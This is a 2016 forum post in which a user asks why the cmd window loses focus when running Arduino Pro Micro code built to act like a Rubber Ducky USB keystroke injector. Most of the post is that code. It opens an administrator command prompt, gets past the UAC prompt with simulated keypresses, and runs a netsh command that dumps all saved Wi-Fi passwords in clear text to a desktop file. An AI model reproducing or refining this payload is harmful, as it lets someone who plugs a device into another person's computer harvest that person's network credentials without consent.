jhearst4 Posted April 15, 2016 Posted April 15, 2016 Hi, I recently bought an arduino pro micro, and was interested in using it for the same purpose as the Rubber Ducky USB. I've uploaded the code just fine, but whenever I attempt to run it, the cmd window that opens loses focus or goes to the back of all of my windows. Any ideas why this might be happening, or how to fix it? Here's the code currently: #include <Keyboard.h> void setup() { delay(5000); //Delay for testing Keyboard.begin(); Keyboard.write(KEY_LEFT_GUI); delay(400); print(F("cmd")); delay(400); Keyboard.press(KEY_LEFT_CTRL); Keyboard.press(KEY_LEFT_SHIFT); enter(); delay(400); Keyboard.write(KEY_LEFT_ARROW); delay(400); enter(); print(F("cd '%USERPROFILE%\\Desktop'")); enter(); print(F("netsh wlan show profile name=* key=clear >> default.txt")); enter(); clear(); Keyboard.end(); } void print(const __FlashStringHelper *value) { Keyboard.print(value); } void clear() { Keyboard.releaseAll(); } void enter() { Keyboard.write(KEY_RETURN); Keyboard.releaseAll(); } void loop(){} Quote
Recommended Posts
Join the conversation
You can post now and register later. If you have an account, sign in now to post with your account.